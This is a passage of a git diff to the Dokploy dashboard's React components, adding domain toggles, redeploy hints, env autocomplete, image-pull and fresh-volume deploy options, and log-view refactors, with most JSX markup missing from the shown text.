+ ); + }, + }, { id: "actions", header: "Actions", diff --git a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx index be8901921..a715381cb 100644 --- a/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx +++ b/apps/dokploy/components/dashboard/application/domains/handle-domain.tsx @@ -46,6 +46,7 @@ import { TooltipTrigger, } from "@/components/ui/tooltip"; import { api } from "@/utils/api"; +import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint"; export type CacheType = "fetch" | "cache"; @@ -155,7 +156,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { domainId, }, { - enabled: !!domainId, + enabled: isOpen && !!domainId, }, ); @@ -166,7 +167,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { applicationId: id, }, { - enabled: !!id, + enabled: isOpen && !!id, }, ) : api.compose.one.useQuery( @@ -174,7 +175,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { composeId: id, }, { - enabled: !!id, + enabled: isOpen && !!id, }, ); @@ -186,9 +187,14 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { api.domain.generateDomain.useMutation(); const { data: canGenerateTraefikMeDomains } = - api.domain.canGenerateTraefikMeDomains.useQuery({ - serverId: application?.serverId || "", - }); + api.domain.canGenerateTraefikMeDomains.useQuery( + { + serverId: application?.serverId || "", + }, + { + enabled: isOpen, + }, + ); const { data: services, @@ -203,7 +209,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { { retry: false, refetchOnWindowFocus: false, - enabled: type === "compose" && !!id, + enabled: isOpen && type === "compose" && !!id, }, ); @@ -300,7 +306,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null, }) .then(async () => { - toast.success(dictionary.success); + toast.success( + dictionary.success, + data.domainType === "compose" + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); if (data.domainType === "application") { await utils.domain.byApplicationId.invalidate({ @@ -337,12 +348,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => { {isError && {error?.message}} - {type === "compose" && ( - - Whenever you make changes to domains, remember to redeploy your - compose to apply the changes. - - )} + {type === "compose" && }
( + + {COMPOSE_REDEPLOY_HINT} + +); diff --git a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx index 23d9e46bb..f4206ee95 100644 --- a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx +++ b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx @@ -44,6 +44,7 @@ import { DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; import { Table, TableBody, @@ -58,11 +59,13 @@ import { TooltipProvider, TooltipTrigger, } from "@/components/ui/tooltip"; +import { cn } from "@/lib/utils"; import { api } from "@/utils/api"; import { createColumns } from "./columns"; import { DnsHelperModal } from "./dns-helper-modal"; import { AddDomain } from "./handle-domain"; import { HandleForwardAuth } from "./handle-forward-auth"; +import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint"; export type ValidationState = { isLoading: boolean; @@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => { api.domain.validateDomain.useMutation(); const { mutateAsync: deleteDomain, isPending: isRemoving } = api.domain.delete.useMutation(); + const { mutateAsync: toggleEnable, isPending: isToggling } = + api.domain.toggleEnable.useMutation(); + + const handleToggleEnable = async (domainId: string) => { + try { + const result = await toggleEnable({ domainId }); + refetch(); + toast.success( + result.enabled ? "Domain enabled" : "Domain disabled", + result.requiresRedeploy + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); + } catch { + toast.error("Error updating the domain"); + } + }; const handleDeleteDomain = async (domainId: string) => { try { await deleteDomain({ domainId }); refetch(); - toast.success("Domain deleted successfully"); + toast.success( + "Domain deleted successfully", + type === "compose" + ? { description: COMPOSE_REDEPLOY_TOAST } + : undefined, + ); } catch { toast.error("Error deleting domain"); } @@ -166,8 +191,7 @@ export const ShowDomains = ({ id, type }: Props) => { try { const result = await validateDomain({ domain: host, - serverIp: - application?.server?.ipAddress?.toString() || ip?.toString() || "", + serverId: application?.serverId ?? undefined, }); setValidationStates((prev) => ({ @@ -200,7 +224,9 @@ export const ShowDomains = ({ id, type }: Props) => { validationStates, handleValidateDomain, handleDeleteDomain, + handleToggleEnable, isDeleting: isRemoving, + isToggling, serverIp: application?.server?.ipAddress?.toString() || ip?.toString(), canCreateDomain, canDeleteDomain, @@ -265,6 +291,11 @@ export const ShowDomains = ({ id, type }: Props) => { )} + {type === "compose" && data && data.length > 0 && ( +
+ +
+ )} {isLoadingDomains ? (
@@ -413,7 +444,10 @@ export const ShowDomains = ({ id, type }: Props) => { return (
@@ -466,18 +500,7 @@ export const ShowDomains = ({ id, type }: Props) => { description="Are you sure you want to delete this domain?" type="destructive" onClick={async () => { - await deleteDomain({ - domainId: item.domainId, - }) - .then((_data) => { - refetch(); - toast.success( - "Domain deleted successfully", - ); - }) - .catch(() => { - toast.error("Error deleting domain"); - }); + await handleDeleteDomain(item.domainId); }} >
-
- - {item.host} - - +
+
+ + {item.host} + + +
+ {canCreateDomain && ( + + + +
+ + handleToggleEnable(item.domainId) + } + disabled={isToggling} + /> +
+
+ +

+ {item.enabled + ? "Domain is active. Toggle to disable routing without deleting it." + : "Domain is disabled and not routed. Toggle to enable it again."} +

+
+
+
+ )}
{/* Domain Details */} diff --git a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx index f5327818f..566dba3bb 100644 --- a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx +++ b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx @@ -5,6 +5,8 @@ import { useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; import { CodeEditor } from "@/components/shared/code-editor"; +import { useEnvCompletionSource } from "@/components/shared/env-autocomplete"; +import { VaultImportDialog } from "@/components/shared/vault-import-dialog"; import { Button } from "@/components/ui/button"; import { Card, @@ -16,16 +18,20 @@ import { import { Form, FormControl, + FormDescription, FormField, FormItem, + FormLabel, FormMessage, } from "@/components/ui/form"; +import { Switch } from "@/components/ui/switch"; import { Toggle } from "@/components/ui/toggle"; import { api } from "@/utils/api"; import type { ServiceType } from "../advanced/show-resources"; const addEnvironmentSchema = z.object({ environment: z.string(), + createEnvFile: z.boolean(), }); type EnvironmentSchema = z.infer; @@ -54,6 +60,12 @@ export const ShowEnvironment = ({ id, type }: Props) => { ? queryMap[type]() : api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id }); const [isEnvVisible, setIsEnvVisible] = useState(true); + const completionSource = useEnvCompletionSource({ + projectEnv: data?.environment?.project?.env, + environmentEnv: data?.environment?.env, + projectId: data?.environment?.projectId, + environmentId: data?.environment?.environmentId, + }); const mutationMap = { compose: () => api.compose.saveEnvironment.useMutation(), @@ -71,18 +83,32 @@ export const ShowEnvironment = ({ id, type }: Props) => { const form = useForm({ defaultValues: { environment: "", + createEnvFile: true, }, resolver: zodResolver(addEnvironmentSchema), }); // Watch form value const currentEnvironment = form.watch("environment"); - const hasChanges = currentEnvironment !== (data?.env || ""); + const currentCreateEnvFile = form.watch("createEnvFile"); + const composeData = + type === "compose" + ? (data as { createEnvFile?: boolean; sourceType?: string } | undefined) + : undefined; + + const showCreateEnvFileToggle = + type === "compose" && + (composeData?.sourceType !== "raw" || composeData?.createEnvFile === false); + const hasChanges = + currentEnvironment !== (data?.env || "") || + (showCreateEnvFileToggle && + currentCreateEnvFile !== (composeData?.createEnvFile ?? true)); useEffect(() => { if (data) { form.reset({ environment: data.env || "", + createEnvFile: composeData?.createEnvFile ?? true, }); } }, [data, form]); @@ -97,6 +123,9 @@ export const ShowEnvironment = ({ id, type }: Props) => { postgresId: id || "", redisId: id || "", env: formData.environment, + ...(type === "compose" && { + createEnvFile: formData.createEnvFile, + }), }) .then(async () => { toast.success("Environments Added"); @@ -110,6 +139,7 @@ export const ShowEnvironment = ({ id, type }: Props) => { const handleCancel = () => { form.reset({ environment: data?.env || "", + createEnvFile: composeData?.createEnvFile ?? true, }); }; @@ -168,6 +198,18 @@ export const ShowEnvironment = ({ id, type }: Props) => { name="environment" render={({ field }) => ( +
+ + form.setValue("environment", next, { + shouldDirty: true, + }) + } + /> +
{ } as CSSProperties } language="properties" + completionSource={completionSource} disabled={isEnvVisible} className="font-mono" wrapperClassName="compose-file-editor" @@ -190,6 +233,34 @@ PORT=3000 )} /> + {showCreateEnvFileToggle && ( + ( + +
+ Create Environment File + + When enabled, an .env file will be created in the same + directory as your compose file on every deploy. + Disable this to keep a repository-provided .env; the + variables above will then be ignored. Takes effect on + the next deploy. + +
+ + + +
+ )} + /> + )} + {canWrite && (
{hasChanges && ( diff --git a/apps/dokploy/components/dashboard/application/environment/show.tsx b/apps/dokploy/components/dashboard/application/environment/show.tsx index 378a871ad..5b16b704c 100644 --- a/apps/dokploy/components/dashboard/application/environment/show.tsx +++ b/apps/dokploy/components/dashboard/application/environment/show.tsx @@ -3,6 +3,7 @@ import { useEffect } from "react"; import { useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; +import { useEnvCompletionSource } from "@/components/shared/env-autocomplete"; import { Button } from "@/components/ui/button"; import { Card } from "@/components/ui/card"; import { @@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => { }, ); + const completionSource = useEnvCompletionSource({ + projectEnv: data?.environment?.project?.env, + environmentEnv: data?.environment?.env, + projectId: data?.environment?.projectId, + environmentId: data?.environment?.environmentId, + }); + const form = useForm({ defaultValues: { env: "", @@ -142,6 +150,9 @@ export const ShowEnvironment = ({ applicationId }: Props) => { } placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")} + completionSource={completionSource} + projectId={data?.environment?.projectId} + environmentId={data?.environment?.environmentId} /> {data?.buildType === "dockerfile" && ( { } placeholder="NPM_TOKEN=xyz" + completionSource={completionSource} /> )} {data?.buildType === "dockerfile" && ( @@ -185,6 +197,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => { } placeholder="NPM_TOKEN=xyz" + completionSource={completionSource} /> )} {data?.buildType === "dockerfile" && ( diff --git a/apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx b/apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx index a51ab4902..4fb46a6d1 100644 --- a/apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx +++ b/apps/dokploy/components/dashboard/application/icon/show-icon-settings.tsx @@ -1,4 +1,3 @@ -import DOMPurify from "dompurify"; import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react"; import { useEffect, useMemo, useState } from "react"; import { toast } from "sonner"; @@ -14,6 +13,7 @@ import { Dropzone } from "@/components/ui/dropzone"; import { Input } from "@/components/ui/input"; import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons"; import { api } from "@/utils/api"; +import { sanitizeSvg } from "@/utils/sanitize-svg"; interface ShowIconSettingsProps { serviceId: string; @@ -89,15 +89,6 @@ export const ShowIconSettings = ({ } }; - const sanitizeSvg = (svgContent: string): string | null => { - const clean = DOMPurify.sanitize(svgContent, { - USE_PROFILES: { svg: true, svgFilters: true }, - ADD_TAGS: ["use"], - }); - if (!clean) return null; - return `data:image/svg+xml;base64,${btoa(clean)}`; - }; - const handleFileUpload = async (files: FileList | null) => { if (!files || files.length === 0) return; const file = files[0]; diff --git a/apps/dokploy/components/dashboard/application/logs/show.tsx b/apps/dokploy/components/dashboard/application/logs/show.tsx index 52ab40ec4..36aa59a9f 100644 --- a/apps/dokploy/components/dashboard/application/logs/show.tsx +++ b/apps/dokploy/components/dashboard/application/logs/show.tsx @@ -1,6 +1,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -79,17 +80,13 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { }, ); + const availableContainers = option === "native" ? containers : services; + useEffect(() => { - if (option === "native") { - if (containers && containers?.length > 0) { - setContainerId(containers[0]?.containerId); - } - } else { - if (services && services?.length > 0) { - setContainerId(services[0]?.containerId); - } - } - }, [option, services, containers]); + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, availableContainers), + ); + }, [availableContainers]); const isLoading = option === "native" ? containersLoading : servicesLoading; const containersLength = @@ -105,7 +102,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { -
+
@@ -114,6 +111,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { { + setContainerId(undefined); setOption(checked ? "native" : "swarm"); }} /> diff --git a/apps/dokploy/components/dashboard/application/patches/show-patches.tsx b/apps/dokploy/components/dashboard/application/patches/show-patches.tsx index e471b3fc1..3b794c1ed 100644 --- a/apps/dokploy/components/dashboard/application/patches/show-patches.tsx +++ b/apps/dokploy/components/dashboard/application/patches/show-patches.tsx @@ -84,9 +84,9 @@ export const ShowPatches = ({ id, type }: Props) => { return ( - -
- Patches + +
+ Patches Apply code patches to your repository during build. Patches are applied after cloning the repository and before building. diff --git a/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx b/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx index 3c76fb969..f6fb952ce 100644 --- a/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx +++ b/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx @@ -77,23 +77,19 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => { }; return ( - - -
-
- - Scheduled Tasks - - - Schedule tasks to run automatically at specified intervals. - -
- {schedules && schedules.length > 0 && ( - - )} + + +
+ Scheduled Tasks + + Schedule tasks to run automatically at specified intervals. +
+ {schedules && schedules.length > 0 && ( + + )}
- + {isLoadingSchedules ? (
diff --git a/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx b/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx index 6732ca0d7..173d1420a 100644 --- a/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx +++ b/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx @@ -50,6 +50,7 @@ interface Props { id: string; type: "application" | "compose"; serverId?: string; + trigger?: React.ReactNode; } const RestoreBackupSchema = z.object({ @@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({ }), }); -export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => { +export const RestoreVolumeBackups = ({ + id, + type, + serverId, + trigger, +}: Props) => { const [isOpen, setIsOpen] = useState(false); const [search, setSearch] = useState(""); const [debouncedSearchTerm, setDebouncedSearchTerm] = useState(""); @@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => { return ( - + {trigger ?? ( + + )} diff --git a/apps/dokploy/components/dashboard/application/volume-backups/show-volume-backups.tsx b/apps/dokploy/components/dashboard/application/volume-backups/show-volume-backups.tsx index 1a72b4640..29848e7bd 100644 --- a/apps/dokploy/components/dashboard/application/volume-backups/show-volume-backups.tsx +++ b/apps/dokploy/components/dashboard/application/volume-backups/show-volume-backups.tsx @@ -77,35 +77,26 @@ export const ShowVolumeBackups = ({ }; return ( - - -
-
- - Volume Backups - - - Schedule volume backups to run automatically at specified - intervals - -
-
- {volumeBackups && volumeBackups.length > 0 && ( - <> - -
- -
- - )} -
+ + +
+ Volume Backups + + Schedule volume backups to run automatically at specified intervals + +
+
+ {volumeBackups && volumeBackups.length > 0 && ( + <> + +
+ +
+ + )}
- + {isLoadingVolumeBackups ? (
diff --git a/apps/dokploy/components/dashboard/billing/trial-banner.tsx b/apps/dokploy/components/dashboard/billing/trial-banner.tsx new file mode 100644 index 000000000..caf3634f1 --- /dev/null +++ b/apps/dokploy/components/dashboard/billing/trial-banner.tsx @@ -0,0 +1,47 @@ +import { Rocket } from "lucide-react"; +import { useRouter } from "next/router"; +import { Button } from "@/components/ui/button"; +import { api } from "@/utils/api"; + +export const TrialBanner = () => { + const router = useRouter(); + const { data: billingStatus } = api.stripe.getBillingStatus.useQuery(); + const { mutateAsync: createCustomerPortalSession, isPending } = + api.stripe.createCustomerPortalSession.useMutation(); + + const handleAddPaymentMethod = async () => { + const session = await createCustomerPortalSession().catch(() => null); + if (session?.url) { + window.open(session.url); + return; + } + router.push("/dashboard/settings/billing"); + }; + + if (!billingStatus?.isOnTrial || billingStatus.hasPaymentMethod) { + return null; + } + + const daysRemaining = billingStatus.trialDaysRemaining ?? 0; + const daysLabel = `${daysRemaining} day${daysRemaining === 1 ? "" : "s"}`; + + return ( +
+ + + {daysRemaining > 0 + ? `You have ${daysLabel} left in your free trial. Add a payment method to keep your servers.` + : "Your free trial ends today. Add a payment method to keep your servers."} + + +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/compose/advanced/add-command.tsx b/apps/dokploy/components/dashboard/compose/advanced/add-command.tsx index c5f9334ec..2e5871560 100644 --- a/apps/dokploy/components/dashboard/compose/advanced/add-command.tsx +++ b/apps/dokploy/components/dashboard/compose/advanced/add-command.tsx @@ -22,6 +22,7 @@ import { FormMessage, } from "@/components/ui/form"; import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; import { api } from "@/utils/api"; interface Props { @@ -30,6 +31,7 @@ interface Props { const AddRedirectSchema = z.object({ command: z.string(), + pullImages: z.boolean(), }); type AddCommand = z.infer; @@ -57,22 +59,25 @@ export const AddCommandCompose = ({ composeId }: Props) => { const form = useForm({ defaultValues: { command: "", + pullImages: false, }, resolver: zodResolver(AddRedirectSchema), }); useEffect(() => { - if (data?.command) { + if (data) { form.reset({ - command: data?.command || "", + command: data.command || "", + pullImages: data.pullImages ?? false, }); } - }, [form, form.reset, form.formState.isSubmitSuccessful, data?.command]); + }, [form, form.reset, form.formState.isSubmitSuccessful, data]); - const onSubmit = async (data: AddCommand) => { + const onSubmit = async (formData: AddCommand) => { await mutateAsync({ composeId, - command: data?.command, + command: formData.command, + pullImages: formData.pullImages, }) .then(async () => { toast.success("Command Updated"); @@ -109,6 +114,30 @@ export const AddCommandCompose = ({ composeId }: Props) => { docker.
+ {data?.composeType === "docker-compose" && ( + ( + +
+ Pull latest images on deploy + + Adds --pull always to the default + command so every deploy fetches the newest image for + each tag. Has no effect when a custom command is set. + +
+ + + +
+ )} + /> + )} ; + +interface Props { + composeId: string; +} + +export const FreshVolumes = ({ composeId }: Props) => { + const router = useRouter(); + const [isOpen, setIsOpen] = useState(false); + const { data: permissions } = api.user.getPermissions.useQuery(); + const canDeploy = permissions?.deployment.create ?? false; + const { data, refetch } = api.compose.one.useQuery( + { composeId }, + { enabled: !!composeId }, + ); + const { mutateAsync: deploy, isPending } = api.compose.deploy.useMutation(); + + const form = useForm({ + defaultValues: { confirmName: "" }, + resolver: zodResolver(freshVolumesSchema), + }); + + const expectedName = `${data?.name}/${data?.appName}`; + const isRunning = data?.composeStatus === "running"; + + const onSubmit = async (formData: FreshVolumesForm) => { + if (formData.confirmName !== expectedName) { + form.setError("confirmName", { + message: `Compose name must match "${expectedName}"`, + }); + return; + } + await deploy({ composeId, freshVolumes: true }) + .then(() => { + toast.success("Compose deployed with fresh volumes"); + setIsOpen(false); + form.reset(); + refetch(); + router.push( + `/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`, + ); + }) + .catch(() => { + toast.error("Error deploying compose"); + }); + }; + + if (!canDeploy || data?.composeType !== "docker-compose") return null; + + return ( + + + + + Danger Zone + + + +
+
+

+ Deploy with Fresh Volumes +

+

+ Permanently wipes every volume of this compose and redeploys it + from a clean state. All persistent data (databases, uploads, + caches) will be lost. +

+
+ { + setIsOpen(open); + if (!open) form.reset(); + }} + > + + + + + + + + Are you absolutely sure? + + +
+

This action will:

+
    +
  • Stop the current compose
  • +
  • Delete all volumes and their data
  • +
  • Redeploy the compose with empty volumes
  • +
+

+ This action cannot be undone. +

+
+
+
+ + + ( + + + + To confirm, type{" "} + { + if (data?.name && data?.appName) { + copy(expectedName); + toast.success( + "Copied to clipboard. Be careful!", + ); + } + }} + > + {expectedName}  + + {" "} + in the box below: + + + + + + + + )} + /> + + + {isRunning && ( + + Cannot deploy with fresh volumes while a deployment is + running. Please wait for it to finish and then try again. + + )} + + + + +
+
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx index 460223fa5..18ff35738 100644 --- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx +++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx @@ -114,6 +114,7 @@ export const ShowComposeContainers = ({ Name State Status + {appType === "stack" && Node} Container ID @@ -121,8 +122,9 @@ export const ShowComposeContainers = ({ {data.map((container) => ( refetch()} @@ -143,7 +145,9 @@ interface ContainerRowProps { name: string; state: string; status: string; + node?: string; }; + appType: "stack" | "docker-compose"; serverId?: string; serviceId?: string; onActionComplete: () => void; @@ -151,6 +155,7 @@ interface ContainerRowProps { const ContainerRow = ({ container, + appType, serverId, serviceId, onActionComplete, @@ -192,7 +197,13 @@ const ContainerRow = ({ variant={ container.state === "running" ? "default" - : container.state === "exited" + : [ + "exited", + "pending", + "preparing", + "starting", + "ready", + ].includes(container.state) ? "secondary" : "destructive" } @@ -201,96 +212,99 @@ const ContainerRow = ({ {container.status} + {appType === "stack" && {container.node || "-"}} - {container.containerId} + {container.containerId || "-"} - - - - - - - Actions - + {!container.containerId ? null : ( + + + + + + + Actions + + e.preventDefault()} + > + View Logs + + + + + + + Terminal + + e.preventDefault()} + disabled={actionLoading !== null} + onClick={() => handleAction("restart", restartMutation)} > - View Logs + Restart - - - - - - Terminal - - - handleAction("restart", restartMutation)} - > - Restart - - handleAction("start", startMutation)} - > - Start - - handleAction("stop", stopMutation)} - > - Stop - - handleAction("kill", killMutation)} - > - Kill - - - - - - View Logs - Logs for {container.name} - -
- -
-
-
+ handleAction("start", startMutation)} + > + Start + + handleAction("stop", stopMutation)} + > + Stop + + handleAction("kill", killMutation)} + > + Kill + + + + + + View Logs + Logs for {container.name} + +
+ +
+
+
+ )} ); diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx index 5d95aafce..0dd1fb211 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx @@ -158,7 +158,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => { composePath: data.composePath, composeId, sourceType: "bitbucket", - composeStatus: "idle", watchPaths: data.watchPaths, enableSubmodules: data.enableSubmodules, }) diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx index a454ff610..2a22bdb36 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx @@ -97,7 +97,6 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => { composeId, sourceType: "git", composePath: values.composePath, - composeStatus: "idle", watchPaths: values.watchPaths || [], enableSubmodules: values.enableSubmodules, }) diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx index 24ed16117..219819b35 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx @@ -157,7 +157,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => { giteaId: data.giteaId, composeId, sourceType: "gitea", - composeStatus: "idle", watchPaths: data.watchPaths, enableSubmodules: data.enableSubmodules, } as any) diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx index 2266e10dc..0f08be5fb 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx @@ -155,7 +155,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { composePath: data.composePath, githubId: data.githubId, sourceType: "github", - composeStatus: "idle", watchPaths: data.watchPaths, enableSubmodules: data.enableSubmodules, triggerType: data.triggerType, diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx index c101d091b..baa22f6d5 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx @@ -169,7 +169,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => { gitlabProjectId: data.repository.id, gitlabPathNamespace: data.repository.gitlabPathNamespace, sourceType: "gitlab", - composeStatus: "idle", watchPaths: data.watchPaths, enableSubmodules: data.enableSubmodules, }) diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx index 23bb4536d..553d46acb 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx @@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; import { badgeStateColor } from "@/components/dashboard/application/logs/show"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -54,10 +55,11 @@ export const ShowDockerLogsStack = ({ }, { enabled: !!appName && option === "swarm", + refetchInterval: 5000, }, ); - const { data: containers, isPending: containersLoading } = + const { data, isPending: containersLoading } = api.docker.getContainersByAppNameMatch.useQuery( { appName, @@ -66,20 +68,18 @@ export const ShowDockerLogsStack = ({ }, { enabled: !!appName && option === "native", + refetchInterval: 5000, }, ); + const containers = data?.filter((container) => container.containerId); + const availableContainers = option === "native" ? containers : services; + useEffect(() => { - if (option === "native") { - if (containers && containers?.length > 0) { - setContainerId(containers[0]?.containerId); - } - } else { - if (services && services?.length > 0) { - setContainerId(services[0]?.containerId); - } - } - }, [option, services, containers]); + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, availableContainers), + ); + }, [availableContainers]); const isLoading = option === "native" ? containersLoading : servicesLoading; const containersLength = @@ -104,6 +104,7 @@ export const ShowDockerLogsStack = ({ { + setContainerId(undefined); setOption(checked ? "native" : "swarm"); }} /> diff --git a/apps/dokploy/components/dashboard/compose/logs/show.tsx b/apps/dokploy/components/dashboard/compose/logs/show.tsx index d7c3c0226..0bd0f988e 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show.tsx @@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; import { badgeStateColor } from "@/components/dashboard/application/logs/show"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -52,14 +53,15 @@ export const ShowDockerLogsCompose = ({ }, { enabled: !!appName, + refetchInterval: 5000, }, ); const [containerId, setContainerId] = useState(); useEffect(() => { - if (data && data?.length > 0) { - setContainerId(data[0]?.containerId); - } + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, data), + ); }, [data]); return ( diff --git a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx index cf5eb2d72..c5a9142e0 100644 --- a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx +++ b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx @@ -74,6 +74,7 @@ interface Props { databaseType?: DatabaseType; serverId?: string | null; backupType?: "database" | "compose"; + trigger?: React.ReactNode; } const RestoreBackupSchema = z @@ -200,6 +201,7 @@ export const RestoreBackup = ({ databaseType, serverId, backupType = "database", + trigger, }: Props) => { const [isOpen, setIsOpen] = useState(false); const [search, setSearch] = useState(""); @@ -311,10 +313,12 @@ export const RestoreBackup = ({ return ( - + {trigger ?? ( + + )} diff --git a/apps/dokploy/components/dashboard/database/backups/show-backups.tsx b/apps/dokploy/components/dashboard/database/backups/show-backups.tsx index b2ebfd641..ae8c8599e 100644 --- a/apps/dokploy/components/dashboard/database/backups/show-backups.tsx +++ b/apps/dokploy/components/dashboard/database/backups/show-backups.tsx @@ -1,10 +1,4 @@ -import { - ClipboardList, - Database, - DatabaseBackup, - Play, - Trash2, -} from "lucide-react"; +import { ClipboardList, DatabaseBackup, Play, Trash2 } from "lucide-react"; import Link from "next/link"; import { useState } from "react"; import { toast } from "sonner"; @@ -101,12 +95,9 @@ export const ShowBackups = ({ return ( - -
- - - Backups - + +
